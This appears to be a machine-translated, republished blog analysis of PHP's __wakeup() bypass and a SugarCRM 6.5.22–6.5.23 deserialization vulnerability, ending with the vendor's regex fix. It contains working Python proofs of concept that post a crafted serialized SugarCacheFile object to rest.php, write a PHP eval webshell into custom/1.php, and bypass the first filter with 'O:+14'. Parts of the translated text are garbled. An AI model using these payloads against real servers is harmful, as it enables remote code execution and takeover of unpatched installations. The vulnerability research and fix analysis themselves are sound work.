PHP __wakeup () function Vulnerability and actual vulnerability analysis

Source: Internet
Author: User
Tags chr eval json php class php file php and regular expression in python

__wakeup () function usage

__wakeup () is used in deserialization operations. Unserialize () checks for the existence of a __wakeup () method. If present, the __wakeup () method is invoked first.

<?php
Class a{
function __wakeup () {
Echo ' Hello ';
}
}
$c = new A ();
$d =unserialize (' o:1: "A": 0:{} ');
?>
The last page prints hello. There is a __wakeup () function at the time of deserialization, so the final output is the Hello

__wakeup () Function Vulnerability description

<?php
Class student{
Public $full _name = ' Zhangsan ';
Public $score = 150;
Public $grades = Array ();

function __wakeup () {
echo "__wakeup is invoked";
}
}

$s = new Student ();
Var_dump (serialize ($s));
?>

The final page is the output of a serialized output of the student object,

O:7: "Student": 3:{s:9: "Full_name"; s:8: "Zhangsan"; s:5: "Score"; I:150;s:6: "Grades"; a:0:{}}. After the Stuedent class there is a number 3, and the entire 3 indicates that there are 3 properties for the student class.
The __wakeup () vulnerability is related to the entire attribute value. The execution of __wakeup is skipped when the serialized string represents an attribute with a value greater than the true number of attributes.
When we modify the object attribute in the serialized string above to 5, it becomes
O:7: "Student": 5:{s:9: "Full_name"; s:8: "Zhangsan"; s:5: "Score"; I:150;s:6: "Grades"; a:0:{}}.
The last code to execute the operation is as follows:

Class student{
Public $full _name = ' Zhangsan ';
Public $score = 150;
Public $grades = Array ();

function __wakeup () {
echo "__wakeup is invoked";
}
function __destruct () {
Var_dump ($this);
}
}

$s = new Student ();
$stu = Unserialize (' o:7: "Student": 5:{s:9: "Full_name"; s:8: "Zhangsan"; s:5: "Score"; I:150;s:6: "Grades"; a:0:{}} ');
You can see that the __wakeup () function is successfully bypassed.

Case

Sugarcms There is a classic __wakup () function around the vulnerability, online also has an analysis of the article. But I found that the online articles were for the 6.5.23 version, and I later studied the 6.5.22 version. From this version of the iteration, you can see the programmer's defensive thinking, it is worth our research and learning. Because in the process of analysis will follow the code audit, the important functions will be tracked, so the entire analysis will look more complex and?? What do you do? Tuo Haze Street Zan, Shun 肷, Street br/> We'll start with the 6.5.22 version of the analysis.

Find the deserialization statement

The server () method code in the Sugarrestserialize class in service/core/rest/sugarrestserialize.php is as follows:

function serve () {
$GLOBALS [' Log ']->info (' begin:sugarrestserialize->serve ');
$data =!empty ($_request[' rest_data '))? $_request[' Rest_data ']: ';
if (Empty ($_request[' method ')) | | |!method_exists ($this->implementation, $_request[' method ')) {
$er = new Soaperror ();
$er->set_error (' Invalid_call ');
$this->fault ($er);
}else{
$method = $_request[' method '];
$data = Unserialize (from_html ($data));
if (!is_array ($data)) $data = Array ($data);
$GLOBALS [' Log ']->info (' end:sugarrestserialize->serve ');
return Call_user_func_array (Array ($this->implementation, $method), $data);
}//Else
}//FN
There is a serialization statement such as $data = Unserialize (from_html ($data)), and $data is by $data =!empty ($_request[' rest_data '))? $_request[' Rest_data ']: ' Get, we can control. Then it means that we can control the deserialized content.

Looking for a point of use

After the serialization statement is found, we need to find out which objects can take advantage of this deserialization statement.
There are sugarcachefile classes and __destruct () methods and __wakeup () methods in include/sugarcache/sugarcachefile.php.


Public Function __destruct ()
{
Parent::__destruct ();

if ($this->_cachechanged)
Sugar_file_put_contents (sugar_cached ($this->_cachefilename), serialize ($this->_localstore));
}

/**
* This is needed to prevent unserialize vulnerability
*/
Public Function __wakeup ()
{
Clean All Properties
foreach (Get_object_vars ($this) as $k => $v) {
$this-> $k = null;
}
throw new Exception ("Not a serializable object");
}

We find that __wakeup () empties all the attributes of the incoming object, __destruct () the sugar_file_put_contents () function will serialize ($this->_localstore) Write to the file.
Follow up sugar_file_put_contents (), in include/utils/sugar_file_utils.php,


function sugar_file_put_contents ($filename, $data, $flags =null, $context =null) {
Check to the If the file exists, if not then use touch to create it.
if (!file_exists ($filename)) {
Sugar_touch ($filename);
}

if (!is_writable ($filename)) {
$GLOBALS [' Log ']->error ("File $filename cannot is written to");
return false;
}

if (empty ($flags)) {
Return file_put_contents ($filename, $data);
} elseif (Empty ($context)) {
Return file_put_contents ($filename, $data, $flags);
} else{
Return file_put_contents ($filename, $data, $flags, $context);
}
}
We found that the sugar_file_put_contents () function did not limit the file, and the value of the $data in the __destruct called by the Sugarcachefile class was serialize ($this->_ Localstore). So we just need to get in and out of a Sugarcachefile class object and set its properties so that we can write a file or a Trojan horse.
But because the __wakeup () function in Sugarcachefile empties all of the object's properties, we have to bypass the function, and we need to take advantage of the __wakeup () vulnerability.

Use

Through the above analysis, we can sum up the entire transmission flow of our data:

$_request[' Rest_data ']->unserialize (from_html ($data))-> __destruct ()->sugar_file_put_contents-> A word Trojan
After you have identified the data transfer process, you need to find one such environment or file. This file invokes the sugarrestserialize.php serve () method, and the include file sugarcachefile.php file.
is a brief analysis process.
In service/v4/rest.php


ChDir ('.. /..');
require_once (' sugarwebserviceimplv4.php ');
$webservice _class = ' sugarrestservice ';
$webservice _path = ' service/core/sugarrestservice.php ';
$webservice _impl_class = ' SugarWebServiceImplv4 ';
$registry _class = ' registry ';
$location = '/service/v4/rest.php ';
$registry _path = ' service/v4/registry.php ';
require_once (' service/core/webservice.php ');
We found $webservice_class defined as Sugarrestservice.
Track the service/core/webservice.php in them


Ob_start ();
ChDir (DirName (__file__). /.. /.. /');
Require (' include/entrypoint.php ');
Require_once (' soap/soaperror.php ');
Require_once (' soaphelperwebservice.php ');
Require_once (' sugarrestutils.php ');
Require_once ($webservice _path);
Require_once ($registry _path);
if (Isset ($webservice _impl_class_path))
Require_once ($webservice _impl_class_path);
$url = $GLOBALS [' sugar_config '] [' site_url ']. $location;
$service = new $webservice _class ($url);
$service->registerclass ($registry _class);
$service->register ();
$service->registerimplclass ($webservice _impl_class);

The set the service object in the global scope such any error, if happens, can is set on this object
Global $service _object;
$service _object = $service;

$service->serve ();
One of the key pieces of code is:


$service = new $webservice _class ($url);

The $webservice_class is defined in service/v4/rest.php as Sugarrestservice.
Follow service/core/sugarrestservice.php and find
In the _gettypename () function of line 57, there is a

protected function _gettypename ($name)
{
if (empty ($name)) return to ' sugarrest ';

  $name = clean_string ($name, ' alphanum ');
  $type = ';
 switch (Strtolower ($name)) {
  case ' json ':
    $type = ' json ';
 & nbsp; break;
  case ' rss ':
    $type = ' rss ';
   break;
  case ' Serialize ':
    $type = ' serialize ';
   break
 }
  $classname = "Sugarrest$type";
 if!file_exists (' service/core/rest/'. $classname. '. php ') {
  return ' sugarrest ';
 }
 return $classname;
}
function __construct ($url) {
  $GLOBALS [' Log ']->info (' begin:sugarrestservice->__construct ');
  $this->resturl = $url;

$this->responseclass = $this->_gettypename (@$_request[' response_type '));
$this->serverclass = $this->_gettypename (@$_request[' input_type '));
$GLOBALS [' Log ']->info (' sugarrestservice->__construct serverclass = '. $this->serverclass);
Require_once (' service/core/rest/'. $this->serverclass. '. php ');
$GLOBALS [' Log ']->info (' end:sugarrestservice->__construct ');
}//ctor
When the incoming argument is serialize, the Sugarrestserialize string is returned, and the Sugarrestserialize class is constructed in the constructor at the end.
In the 86-row constructor serve (), there is a

function serve () {
$GLOBALS [' Log ']->info (' begin:sugarrestservice->serve ');
Require_once (' service/core/rest/'. $this->responseclass. '. php ');
$response = $this->responseclass;

$responseServer = new $response ($this->implementation);
$this->server->faultserver = $responseServer;
$responseServer->faultserver = $responseServer;
$responseServer->generateresponse ($this->server->serve ());
$GLOBALS [' Log ']->info (' end:sugarrestservice->serve ');
}//FN
The Sugarrestserialize class constructed in __construct is executed in the serve () function.
In the end we're going to be referencing the sugarcachefile.php file in webservice.php.
In webservice.php use the Get_included_files () function to get all the referenced files, and finally found that the sugarcache.php was introduced, and sugarcache.php introduced the sugarcachefile.php, then finally the equivalent of webservice.php introduced sugarcachefile.php.
Analysis here, then webservice.php to meet the above said

This file invokes the sugarrestserialize.php serve () method, and the include file sugarcachefile.php file.

That request.

The most important place is the construction of the sequence statement.
We run the following code locally:

<?php

Class Sugarcachefile
{
protected $_cachefilename = '.. /custom/1.php ';

Protected $_localstore = Array ("<?php eval (\$_post[' BDW ')");? > ");

protected $_cachechanged = true;
}
$SCF = new Sugarcachefile ();
Var_dump (Serialize ($SCF));
?>
The result of the final page output is


O:14: "Sugarcachefile": 3:{s:17: "* _cachefilename"; s:15: ". /custom/1.php "; s:14:" * _localstore "; a:1:{i:0;s:28:" <?php eval ($_post[' BDW ']);? > ";} s:16: "* _cachechanged"; b:1;}
Why do I see characters that can't be displayed when I use Var_dump? This character is \x0, which is the Chr (0) character in PHP. This character cannot be displayed on the page. The reason for this character is that it is related to the implementation mechanism of PHP serialization, this time it is not explained. So actually, the result of serialization should be:

1
O:14: "Sugarcachefile": 3:{s:17: "\x0*\x0_cachefilename"; s:15: ". /custom/1.php "; s:14:" \x0*\x0_localstore "; a:1:{i:0;s:26:" <?php eval ($_post[' 1 ']);? > ";} s:16: "\x0*\x0_cachechanged"; b:1;}
The \x0 are not \x, X, 3 characters, but Chr (0) characters.
After the string required for serialization is obtained, the final POC needs to be submitted.
POC Demo as follows:

Import requests

url = "http://localhost/sugar/service/v4/rest.php"
data = {
' method ': ' Login ',
' Input_type ': ' Serialize ',
' Rest_data ': ' o:14: "Sugarcachefile": 4:{s:17: "\\00*\\00_cachefilename"; s:15: ". /custom/1.php "; s:14: "\\00*\\00_localstore"; a:1:{i:0; s:26: "<?php eval ($_post[\ ' 1\ ']);? > ";} s:16: "\\00*\\00_cachechanged"; b:1;} '
}

Requests.post (Url,data=data)
There are several points to note in the above payload, first of all, to modify the attribute values in the serialization to bypass the __wakeup () function, and secondly in Python, Chr (0) is \\00.
In the end will be in the custom directory to get 1.php, the contents of the Trojan is a:1:{i:0;s:26: "<?php eval ($_post[' 1 ']);? > ";}

Finally, the use of Chinese kitchen knife can be successfully connected to the Trojan horse.

The basic analysis has been completed since this vulnerability.

5.6.23 version

In version 22, the serve () method is serialized directly using the Unserialize () method, $data = Unserialize (from_html ($data)).
The code in 24 is:

function serve () {
$GLOBALS [' Log ']->info (' begin:sugarrestserialize->serve ');
$data =!empty ($_request[' rest_data '))? $_request[' Rest_data ']: ';
if (Empty ($_request[' method ')) | | |!method_exists ($this->implementation, $_request[' method ')) {
$er = new Soaperror ();
$er->set_error (' Invalid_call ');
$this->fault ($er);
}else{
$method = $_request[' method '];
$data = Sugar_unserialize (from_html ($data));
if (!is_array ($data)) $data = Array ($data);
$GLOBALS [' Log ']->info (' end:sugarrestserialize->serve ');
return Call_user_func_array (Array ($this->implementation, $method), $data);
}//Else
}//FN

where the $data = Unserialize (from_html ($data)) is changed to $data = Sugar_unserialize (from_html ($data));.
Trace the Sugar_unserialize () method,
In the include/utils.php class there are sugar_unserialize methods,


function Sugar_unserialize ($value)
{
Preg_match ('/[oc]:\d+:/i ', $value, $matches);

if (count ($matches)) {
return false;
}

Return Unserialize ($value);
}
You can see the serialization of the string filter, in fact, the main filter is to prohibit object type is deserialized. Although this is not a problem to look at, but because of a bug in PHP, it can still be bypassed. Just add a + sign before the length of the object, that is, o:14->o:+14, so you can bypass the regular match. For a specific analysis of this bug, you can see a small feature of the PHP reverse sequence unserialize.
The final POC is

Import requests

url = "http://localhost/sugar/service/v4/rest.php"
data = {
' method ': ' Login ',
' Input_type ': ' Serialize ',
' Rest_data ': ' o:+14: "Sugarcachefile": 4:{s:17: "\\00*\\00_cachefilename"; s:15: ". /custom/1.php "; s:14: "\\00*\\00_localstore"; a:1:{i:0; s:26: "<?php eval ($_post[\ ' 1\ ']);? > ";} s:16: "\\00*\\00_cachechanged"; b:1;} '
}

Requests.post (Url,data=data)
Repair

This vulnerability is known as the 5.6.24 version of the repair, the way to repair is very simple.
In this version, the POC is no longer available. Here's the fix code.
In the include/utils.php class there are sugar_unserialize methods,

function Sugar_unserialize ($value)
{
Preg_match ('/[oc]:[^:]*\d+:/i ', $value, $matches);

if (count ($matches)) {
return false;
}

Return Unserialize ($value);
}
As you can see, the regular expression has changed to/[oc]:[^:]*\d+:/i, so the use of the + good to bypass the way no longer applies, thus fixing the vulnerability.

Summarize

One of the key things that I do locally is that we need to change s to s in the serialized string in payload, or else it won't succeed. Of course, I also discuss with others, some people can be case, some people must use uppercase.
You can see that the final approach is to use regular expression/[oc]:[^:]*\d+:/i to prevent deserialization of object objects, but the purpose of serialization is to transfer object data, and if other data actually uses the transmission, So I don't know what it means to prohibit the transfer of object objects in SugarCRM but allow other types of data to be transferred?
Finally, thanks to Bendwang's advice, I answered a lot of questions.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.